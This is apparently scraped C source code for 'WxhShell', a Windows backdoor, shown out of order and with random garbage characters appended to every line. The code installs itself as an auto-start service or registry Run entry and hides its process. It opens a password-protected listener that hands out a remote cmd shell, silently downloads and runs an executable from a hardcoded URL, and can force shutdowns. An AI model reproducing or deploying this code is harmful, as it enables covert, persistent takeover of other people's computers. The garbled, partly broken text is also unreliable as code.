    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A=h`Z^8\B  
    if(Boot(SHUTDOWN)) T("Fh}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V!FzVl=G  
    else { `4;<\VYCr  
    closesocket(wsh); >|z=-hqPK  
    ExitThread(0); BKvF,f/g  
    } o2Pj|u*X  
    break; \?qXscq  
    } 1egryp  
  // 获取shell [d dEt  
  case 's': { ch : 428  
    CmdShell(wsh); hb? |fi  
    closesocket(wsh); J>Zd75;U  
    ExitThread(0); ap;UxWqx  
    break; 6e~+@S  
  } DO( /,A<{8  
  // 退出 )]qFI"B7  
  case 'x': { D0x+b2x^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Saz+GQ G  
    CloseIt(wsh); N?87Bd  
    break; {v]>sn;P1  
    } [$H8?J   
  // 离开 Ud{-H_m+  
  case 'q': { 'u696ED4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Bwll [=_I  
    closesocket(wsh); (G$m}ng  
    WSACleanup(); 4 &t6  
    exit(1); k?xtZ,n{s  
    break; {nHy!{+qqG  
        } :;??!V  
  } Bq:@ [pCQ  
  } m+uh6IqN./  
eJy@N  
  // 提示信息 )k7`!@ID  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s0nihX1Z-  
} sDbALAp +  
  } Ke 'bH  
_n{N3da  
  return; {z.}u5N  
} possM'vC  
XU SfOf(  
// shell模块句柄 spe9^.SI  
int CmdShell(SOCKET sock) K7_)!=DcX  
{ /H3,v8J@  
STARTUPINFO si; }.T$bj1B;V  
ZeroMemory(&si,sizeof(si)); _fa]2I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `_v-Y`Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "[#jq5> :  
PROCESS_INFORMATION ProcessInfo; z1V0WDVm  
char cmdline[]="cmd"; wh~~g qi9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *`l>1)B>  
  return 0; ( bBetX  
} \XB71DUF  
 j, G/[V  
// 自身启动模式 X2Lhb{ZHE  
int StartFromService(void) @*2FG\c<  
{ !P:hf/l[B  
typedef struct s V77WF  
{ slPFDBx  
  DWORD ExitStatus; qc`_&!*D  
  DWORD PebBaseAddress; x b_C1n  
  DWORD AffinityMask; r/{VL3}F_e  
  DWORD BasePriority; Jk1U p2#B  
  ULONG UniqueProcessId; (p2\H>pTr  
  ULONG InheritedFromUniqueProcessId; 2{#quXN9  
}   PROCESS_BASIC_INFORMATION; L g%cVSz/C  
wCI.jGSBW  
PROCNTQSIP NtQueryInformationProcess; liU=5 BL  
MA1,;pv6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H}}t )H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U2Ur N?T  
s*!2oj  
  HANDLE             hProcess; h+Z|s  
  PROCESS_BASIC_INFORMATION pbi; WrD20Q$9Q  
Ot,sMRk'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }& 1_gn15  
  if(NULL == hInst ) return 0; >c1mwZS ;  
F]ALZxwkz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qi)(\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rgP$\xn-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]T*{M  
'+}hVfN  
  if (!NtQueryInformationProcess) return 0; APLu?wy7s5  
fI BLJ53  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,3W a~\/Q  
  if(!hProcess) return 0; Q% dpGI  
\]r{73C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {?j|]j  
|RpC0I  
  CloseHandle(hProcess); I{RktO;1  
t^7R6y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z.jGVF4  
if(hProcess==NULL) return 0; ~q1s4^J  
6}|vfw  
HMODULE hMod; gZPJZN/cpz  
char procName[255]; %`}Qkb/Lyh  
unsigned long cbNeeded; tq*Q|9j7VG  
)*_YeT&w.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9Qkww&VEk  
k5ZwGJ#r  
  CloseHandle(hProcess); (Ux%7H_d  
F`ihw[ Wn  
if(strstr(procName,"services")) return 1; // 以服务启动  Cn_Mz#Z  
:]//{HF  
  return 0; // 注册表启动 ^L'K?o  
} vw(};)8  
ec3('}X  
// 主模块 ct]5\g?U'  
int StartWxhshell(LPSTR lpCmdLine) *3k~%RM%?  
{ xQD#; 7  
  SOCKET wsl; #h&?wE>  
BOOL val=TRUE; ~M\s!!t3  
  int port=0; l s_i)X  
  struct sockaddr_in door; OE[/sv  
'@W72ML.  
  if(wscfg.ws_autoins) Install(); I@z{G r  
kNjbpCE\!  
port=atoi(lpCmdLine); ]ny(l#Hu:  
HK-?<$Yc  
if(port<=0) port=wscfg.ws_port; sVC5<?OW!p  
$Z(zO;k.  
  WSADATA data; ML'R[~|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G?"1 z;  
S\ li<xl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *|jqRfa"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '2 )d9_ w  
  door.sin_family = AF_INET; I%(+tJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Qv?jo(]  
  door.sin_port = htons(port); 8=SNLO  
>a0;|;hp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W35nnBU  
closesocket(wsl); a{8GT2h`4  
return 1; *;}!WDr  
} :*8@Mj Z4  
H ,?MG  
  if(listen(wsl,2) == INVALID_SOCKET) { vw!i)JO8M  
closesocket(wsl); *(HH71Y  
return 1; I{2e0  
} }8FP5Z'Cf%  
  Wxhshell(wsl); J:Qp(s-N^:  
  WSACleanup(); MKH7d/x  
Jsw<,uT D  
return 0; "w A8J%:  
2.x3^/  
} ? &1?uc  
sF|lhLi  
// 以NT服务方式启动 CHLMY}O0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^ ]B&7\w"t  
{ s$]I@;_  
DWORD   status = 0; P "%/  
  DWORD   specificError = 0xfffffff; \/,SH?>4x  
6znm?s@~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A]n !d}?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zL_X?UmV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ; lK2]  
  serviceStatus.dwWin32ExitCode     = 0; .*,Zh2eXU  
  serviceStatus.dwServiceSpecificExitCode = 0; /bw-*  
  serviceStatus.dwCheckPoint       = 0; e;gf??8}  
  serviceStatus.dwWaitHint       = 0; pGOS'.K%t8  
CsE|pXVG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }??q{B@v  
  if (hServiceStatusHandle==0) return; hR?rZUl2M  
0~-+5V  
status = GetLastError(); [s2%t"H-y  
  if (status!=NO_ERROR) 8pk5[=3Z  
{ KYeA=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GnLh qm"\  
    serviceStatus.dwCheckPoint       = 0; mg 3jm  
    serviceStatus.dwWaitHint       = 0; LyQO_mT2  
    serviceStatus.dwWin32ExitCode     = status; {=(4  
    serviceStatus.dwServiceSpecificExitCode = specificError; F4PD3E_#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); me9RnPe:  
    return; k20H|@g2  
  } `C=p7 %  
_\1(7?0D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >:K3y$]_  
  serviceStatus.dwCheckPoint       = 0; `SU;TN0  
  serviceStatus.dwWaitHint       = 0; ?e ~*,6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3b_#xr-  
}  d,H%  
zb3ir|  
// 处理NT服务事件,比如:启动、停止 kz??""G7/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NR3IeTd  
{ 5<S1,u5  
switch(fdwControl) )/=J=xw2  
{ dNyc|P`U  
case SERVICE_CONTROL_STOP: Eod2vr =Q  
  serviceStatus.dwWin32ExitCode = 0; <^&'r5H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,iHt*SZ,*  
  serviceStatus.dwCheckPoint   = 0; "C.$qk]  
  serviceStatus.dwWaitHint     = 0; vXf#gX!Y  
  { ar{e<&Bny  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ylf6-FbF  
  } 0|U<T#t8?  
  return; jXdn4m/O  
case SERVICE_CONTROL_PAUSE: 71 2i |  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $~2A o[  
  break; 4gZN~_AI<  
case SERVICE_CONTROL_CONTINUE: H4pjtVBr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =];FojC6I  
  break; n[clYi@e  
case SERVICE_CONTROL_INTERROGATE: 6$z UFIk  
  break; \K4m~e@!  
}; MRa>@Jn??A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a( qw  
} b!N`@m=  
4bKZ@r%  
// 标准应用程序主函数 6?`py}:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \GkcK$Y  
{ cEN^H  
c]O4l2nCL  
// 获取操作系统版本 kn<[v;+  
OsIsNt=GetOsVer(); N$3F4b%+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,5/gNg  
)Y:CV,`  
  // 从命令行安装 t]m#k%)  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z<wg`  
C2VZE~U+  
  // 下载执行文件 +uH1rF_&@  
if(wscfg.ws_downexe) { %URyGS]*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RS93_F8   
  WinExec(wscfg.ws_filenam,SW_HIDE); |_A35"v  
} C{,nDa?|  
Z2ZS5a  
if(!OsIsNt) { \t(/I=E8/  
// 如果时win9x,隐藏进程并且设置为注册表启动 > vahj,CZZ  
HideProc(); )9*-Q%zc  
StartWxhshell(lpCmdLine); 5=$D~>-#  
} 5-sxTp  
else QM$?}>:  
  if(StartFromService()) Tc qqAc   
  // 以服务方式启动 4~ iKo  
  StartServiceCtrlDispatcher(DispatchTable); :xA'X+d/'  
else w ggl,+7  
  // 普通方式启动 ;+5eE`]a/L  
  StartWxhshell(lpCmdLine); `fL$t0 "  
68D.Li  
return 0; ~+1t 17  
} ^,rbA>/L  
p3-sEIw}Ru  
F Pu,sz8  
{>~|xW  
=========================================== 0>AA-~=-  
.qHgQ_%  
/2YI!U@A  
i JQS@2=A  
T+gqu &9R  
EJRwyF5 LK  
" zIlQqyOQ8  
-m-~  
#include <stdio.h> x&7!m  
#include <string.h> PsTwJLY   
#include <windows.h> p{88v3b6  
#include <winsock2.h> 0uj3kr?cv  
#include <winsvc.h> U/TF,JUI  
#include <urlmon.h> x=9drKIw>  
O8M;q!)y  
#pragma comment (lib, "Ws2_32.lib") "EA%!P:d,  
#pragma comment (lib, "urlmon.lib") 9/0<Z_b2  
b&0q%tCK  
#define MAX_USER   100 // 最大客户端连接数 >y2gfD  
#define BUF_SOCK   200 // sock buffer \[Q,>{^  
#define KEY_BUFF   255 // 输入 buffer p6sXftk  
xC{W_a(  
#define REBOOT     0   // 重启 }2G'3msx  
#define SHUTDOWN   1   // 关机 4D0"Y #&G  
':J[KWuV  
#define DEF_PORT   5000 // 监听端口 -MeGJX:^I  
sN;xHTY  
#define REG_LEN     16   // 注册表键长度 -cOLg rmp  
#define SVC_LEN     80   // NT服务名长度 zs WYV n]  
Fd0R?d  
// 从dll定义API q.~_vS%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kJ{X5&,_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pYH#Vh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qWy(f|:hYi  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Hh,q)(Wo  
<Knl6$B  
// wxhshell配置信息 YGNO]Q~A  
struct WSCFG { }c$Zlb  
  int ws_port;         // 监听端口 }5u$/c@f1  
  char ws_passstr[REG_LEN]; // 口令 %r?Y!=0  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8L^5bJ  
  char ws_regname[REG_LEN]; // 注册表键名 [Jwo,?w  
  char ws_svcname[REG_LEN]; // 服务名 3N[t2Y1r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h# B%'9r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1d"g $i4e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ic P]EgB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Jzo|$W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5PqL#Eu`!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xhWWl(r`5  
+7.\>Ucq`  
}; ^cn%]X#.  
z;J"3kM  
// default Wxhshell configuration krFuEaO  
struct WSCFG wscfg={DEF_PORT, % tTL  
    "xuhuanlingzhe", @ l41'?m  
    1, W9+H /T7!  
    "Wxhshell", \C#X Kk$OE  
    "Wxhshell", hxZ5EKBy  
            "WxhShell Service", !:]CKbG  
    "Wrsky Windows CmdShell Service", Nawph  
    "Please Input Your Password: ", Arc6d5Q  
  1, JZ3CCf  
  "http://www.wrsky.com/wxhshell.exe", &{-r 5d23  
  "Wxhshell.exe" ;SnpD)x@)  
    }; f#f<Ii  
g(& huS  
// 消息定义模块 0n<>X&X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :#7"SEud}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l|R BO+}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 42]hX9E  
char *msg_ws_ext="\n\rExit."; |Tv}leJF  
char *msg_ws_end="\n\rQuit."; >xsbXQ>.  
char *msg_ws_boot="\n\rReboot..."; A{NKHn>%`  
char *msg_ws_poff="\n\rShutdown..."; !LJEo>D  
char *msg_ws_down="\n\rSave to "; amvD5  
M~+}ss  
char *msg_ws_err="\n\rErr!"; CiF(   
char *msg_ws_ok="\n\rOK!"; !:Z lVIA  
08czP-)OZ  
char ExeFile[MAX_PATH]; [`J91=  
int nUser = 0; ?TWve)U  
HANDLE handles[MAX_USER]; X\4d|VJ?m  
int OsIsNt; /]pJ(FFC  
#K#BNpG|  
SERVICE_STATUS       serviceStatus; LY:%k|L9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Cfs2tN  
`)y<X#[8  
// 函数声明 _nwsIjsW  
int Install(void); pKZRgA#kN  
int Uninstall(void); {&dbxj-'  
int DownloadFile(char *sURL, SOCKET wsh); )_C+\K*  
int Boot(int flag); d?ru8  
void HideProc(void); _ ck)yY?7  
int GetOsVer(void); ]y0bgKTK  
int Wxhshell(SOCKET wsl); qPQ6`rD\  
void TalkWithClient(void *cs); &u+l`F^Z  
int CmdShell(SOCKET sock); I4XnJ[N%  
int StartFromService(void); =e)t,YVm  
int StartWxhshell(LPSTR lpCmdLine); z( \4{Y  
!\< [}2}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /PZx['g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0 i'bo*  
y`,;m#frT  
// 数据结构和表定义 whi#\>i  
SERVICE_TABLE_ENTRY DispatchTable[] = =fRC$  
{ 4bs<j  
{wscfg.ws_svcname, NTServiceMain}, pKtN$Fd  
{NULL, NULL} u4#YZOiY)A  
}; "hmLe(jo}  
x{O) n  
// 自我安装 d88Dyzz  
int Install(void) /S{U|GBB%r  
{ n!dXjInV  
  char svExeFile[MAX_PATH]; <Hf3AB;#4  
  HKEY key; tVv/G ~(  
  strcpy(svExeFile,ExeFile); jj&mRF0gCb  
C: AD ZJL  
// 如果是win9x系统,修改注册表设为自启动 Wsb>3J  
if(!OsIsNt) { J`]9 n>G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GaCRo7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "T$LJ1E  
  RegCloseKey(key); =X1oB ,W{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6:~<L!`&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z:a7)z  
  RegCloseKey(key); 9^u}~e #(  
  return 0; sWmqx$  
    } `?{6L#  
  } Gf +>Aj U'  
} `_k_}9Fr  
else { 3$?nzKTW\  
|:.s6a#(  
// 如果是NT以上系统,安装为系统服务 * >/w,E]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K?nQsT;3p  
if (schSCManager!=0) We++DWp  
{ RBz"1hRo`  
  SC_HANDLE schService = CreateService {)iiu  
  ( &pf"35ll  
  schSCManager, PR/>E60H  
  wscfg.ws_svcname, [+d~He  
  wscfg.ws_svcdisp, x<`^4|<  
  SERVICE_ALL_ACCESS, 2 OV$M~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , : t9sAD  
  SERVICE_AUTO_START, ScjeAC)  
  SERVICE_ERROR_NORMAL, w/ ^_w5  
  svExeFile, ^*YoNd_kpN  
  NULL, VX*+:  
  NULL, 8[.&ca/[  
  NULL, }3, 4B -8!  
  NULL, 3ZC@q #R A  
  NULL VDro(?p8Z  
  ); ySI}Nm>&=  
  if (schService!=0) S|xwYaoy%  
  { +PnuWK$  
  CloseServiceHandle(schService); M3elog:M  
  CloseServiceHandle(schSCManager); ]#[4eaCg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #D#kw*c  
  strcat(svExeFile,wscfg.ws_svcname); 2 FoLJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s$zm)y5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QOgGL1)7-  
  RegCloseKey(key); 0i"2s}^+_  
  return 0; =E$bZe8  
    } kOdA8X RY  
  } (f^/KB=  
  CloseServiceHandle(schSCManager); T{2)d]Y  
} C:t?HLY)fG  
} ps?su`  
*3P+K:2lNG  
return 1; V;g) P  
} ,;hpqu|  
?(U;T!n  
// 自我卸载 |QF_E4ISD  
int Uninstall(void) ]%I\FefT  
{ %sPze]  
  HKEY key; j/Y]3RSMp  
[3sZ=)G  
if(!OsIsNt) { kN3 <l7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U}4I29M  
  RegDeleteValue(key,wscfg.ws_regname); wx`.  
  RegCloseKey(key); wfe4b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `1n^~  
  RegDeleteValue(key,wscfg.ws_regname); _;0RW  
  RegCloseKey(key); .gGO+8[N*  
  return 0; =-~))!(  
  } >itNa.K  
} qBcbMa9m  
} ?9O#b1f N  
else { h_ccE 6]t  
63%V_B|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M9o/6  
if (schSCManager!=0) /\<x8BJ  
{ j24DL+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CbW[_\  
  if (schService!=0) s3m \  
  { ra6\+M~}e  
  if(DeleteService(schService)!=0) { TmftEw>u  
  CloseServiceHandle(schService); K?[Vz[-Fc  
  CloseServiceHandle(schSCManager); d (x'\4(K  
  return 0; Cse`MP  
  } ]Jm\k'u[  
  CloseServiceHandle(schService); E:M,nSc)53  
  } $M4Z_zle)  
  CloseServiceHandle(schSCManager); M ;b3- i  
} g 8uq6U  
} t_xK?``  
/>}zB![(K  
return 1; boCi*]  
} V s xI  
WEX7=^k9  
// 从指定url下载文件 7FPSBvU#/  
int DownloadFile(char *sURL, SOCKET wsh) ^'`(E_2u  
{ 0,)2\`99#k  
  HRESULT hr; mD.6cV  
char seps[]= "/"; .tGz,z}  
char *token; -`{W~yz  
char *file; iX{2U lF7  
char myURL[MAX_PATH]; `JDZR:bMaT  
char myFILE[MAX_PATH]; ~GX ]K H  
{DKZ ~  
strcpy(myURL,sURL); p`A2^FS)  
  token=strtok(myURL,seps); #9r}Kr=P  
  while(token!=NULL) H[nBNz)C  
  { mRC3w(W  
    file=token; ?B;7J7T  
  token=strtok(NULL,seps); d>mZY66P  
  } =H23eOS_#  
{wA8!5Gu  
GetCurrentDirectory(MAX_PATH,myFILE); C P&u  
strcat(myFILE, "\\"); @iV-pJ-  
strcat(myFILE, file); >itabG-&  
  send(wsh,myFILE,strlen(myFILE),0); Rvu5#_P  
send(wsh,"...",3,0); ~!2fUewEu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #k)z5vZ$h  
  if(hr==S_OK) T:'JA  
return 0; RD)Vb$.B:  
else e21J9e6z   
return 1; y;fF|t<y  
Yb<:1?76L  
} GVlT+Rs7  
}riM-  
// 系统电源模块 ,D }Ka?  
int Boot(int flag) Cj4Y, N  
{ s+fxv(,"c  
  HANDLE hToken; s#aj5_G  
  TOKEN_PRIVILEGES tkp; X[tB^`  
ZAy/u@qt  
  if(OsIsNt) { SE'|||B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L>1y[ Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v@GhwL  
    tkp.PrivilegeCount = 1; )h 6w@TF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y7g%nz[[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A'~mJO/   
if(flag==REBOOT) { f1'X<VA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `i(b%$|^&Z  
  return 0; /0gr?I1wr7  
} ulW>8bW&  
else { VK*`&D<P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *tRsm"}  
  return 0; =8tK]lb  
} j} /).O  
  } B[7,Hy,R  
  else { `S-l.zSZ4B  
if(flag==REBOOT) { c u";rnj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <a=OiY  
  return 0; #&r}J  
} }AB_i'C0  
else { o^(I+<el  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l(_|CkcZ  
  return 0; eXnSH$uI  
} aN*{nW  
} AD`5:G  
=8*ru\L:hr  
return 1; Xr8fmJtg'  
} +L'Cbv="  
>\:GFD{z  
// win9x进程隐藏模块 Bnk<e  
void HideProc(void) j[\:#/J  
{ pT~3< ,  
R6Md_t\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zvq}7,  
  if ( hKernel != NULL ) 3ww\Z8UeK  
  { @VIY=qh  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [tt{wl"E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !Z\Gv1  
    FreeLibrary(hKernel); 2-Q5l*  
  } }s'=w]m  
Hq<4G:#  
return; Qt>kythi  
} C_q2bI  
.nVY" C&  
// 获取操作系统版本 C|IHRw`[  
int GetOsVer(void) d&|5Rk ~  
{ >m!Z$m([J  
  OSVERSIONINFO winfo; pYAKA1F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [!3cWJCt  
  GetVersionEx(&winfo); 3!sZA?q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I Ij:3HP  
  return 1; X|!@%wuGC  
  else L ..  
  return 0; q&?hwX Z7  
} r 20!   
<zTz/Hk`  
// 客户端句柄模块 (7! pc  
int Wxhshell(SOCKET wsl) [9 :9<#?o^  
{ 7CF>cpw  
  SOCKET wsh; 3w p@OF_  
  struct sockaddr_in client; *Od?>z  
  DWORD myID; `# !>}/m  
}Ptv[{q]GE  
  while(nUser<MAX_USER) ft@#[Bkx  
{ vyWx{ @  
  int nSize=sizeof(client); m*iSW]&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H l(W'>*oL  
  if(wsh==INVALID_SOCKET) return 1; Lh-Y5(c o  
seAEv0YWz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !@ P{s'<:  
if(handles[nUser]==0) Y^d#8^cP  
  closesocket(wsh); vNdX  
else D(|+z-}M  
  nUser++; e8:O2!HW  
  } m*)jnd XY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); iKaS7lWH  
N|@ tP:j  
  return 0; !U2<\!_  
} $ Fc}K+  
]Y->EME:W  
// 关闭 socket O#J7GbrHO  
void CloseIt(SOCKET wsh) KX!/n`2u  
{ RHvK Wt  
closesocket(wsh); v&9:Wd*Iz'  
nUser--; k[<i+C";  
ExitThread(0); A4d3hF~l`  
} \f Kn} ]kG  
8~.8"gQ  
// 客户端请求句柄 M1 o@v0  
void TalkWithClient(void *cs) :~s*yznf  
{ 1_9Ka V  
N;}X$b5Y @  
  SOCKET wsh=(SOCKET)cs; 5BLBcw\;  
  char pwd[SVC_LEN]; n ^qwE  
  char cmd[KEY_BUFF]; ~SA>$  
char chr[1]; 2t?>0)*m  
int i,j; MX!N?k#KhP  
E"/k"1@  
  while (nUser < MAX_USER) { e_rEu'[av  
Dcs O~mg  
if(wscfg.ws_passstr) { YReI|{O$c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w_QWTD 0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |VyN>&r~6  
  //ZeroMemory(pwd,KEY_BUFF); td$RDtW[3  
      i=0; 0d~?|Nv -  
  while(i<SVC_LEN) { q/@r#  
{VM^K1  
  // 设置超时 G(F=6L~;  
  fd_set FdRead; Y|/,*,u+  
  struct timeval TimeOut; 1guiuR4  
  FD_ZERO(&FdRead); DI-CC[  
  FD_SET(wsh,&FdRead); 6 Rg>h  
  TimeOut.tv_sec=8; fL'Ci;.;+  
  TimeOut.tv_usec=0; fp3`O9+em  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); { Rxb_9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3_i29ghv  
?g *.7Wc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ck/w:i@>?  
  pwd=chr[0]; Wn2J]BH  
  if(chr[0]==0xd || chr[0]==0xa) { 6HVX4Z#VH  
  pwd=0; 8f'r_,"  
  break; Nh4&3"g|  
  } :F"NF  
  i++; VIod6Vk  
    } i~4$V  
^ Vc(oa&;  
  // 如果是非法用户,关闭 socket k&u5`F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Wh%@  
} z<. 6jx@  
1u }2}c|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N{Pa&/V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cy2K#  
A5ckosYyNA  
while(1) { I "R<XX  
;_=dB[M  
  ZeroMemory(cmd,KEY_BUFF); 5'wFZ=>vMt  
+ul.P)1J6  
      // 自动支持客户端 telnet标准   PvxU.  
  j=0; PL3oV<\4s>  
  while(j<KEY_BUFF) {  6\QsK96_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p%\&M bA  
  cmd[j]=chr[0]; Cv`dK=n>  
  if(chr[0]==0xa || chr[0]==0xd) { ,LU|WXRB  
  cmd[j]=0; MBol_#H  
  break; M=5hp&=  
  } HJe6h. P  
  j++; @< 0c  
    } ZYTBc#f  
&?9~e>.OS  
  // 下载文件 5^2P\y(?  
  if(strstr(cmd,"http://")) { Bthp_cSmLs  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?y~"\iP  
  if(DownloadFile(cmd,wsh)) a{kLAx[>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LdX'V]ITh  
  else tRTJQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FaG&U  
  } 'FG@Rg (  
  else { ;![rwra  
[XNDYaF8  
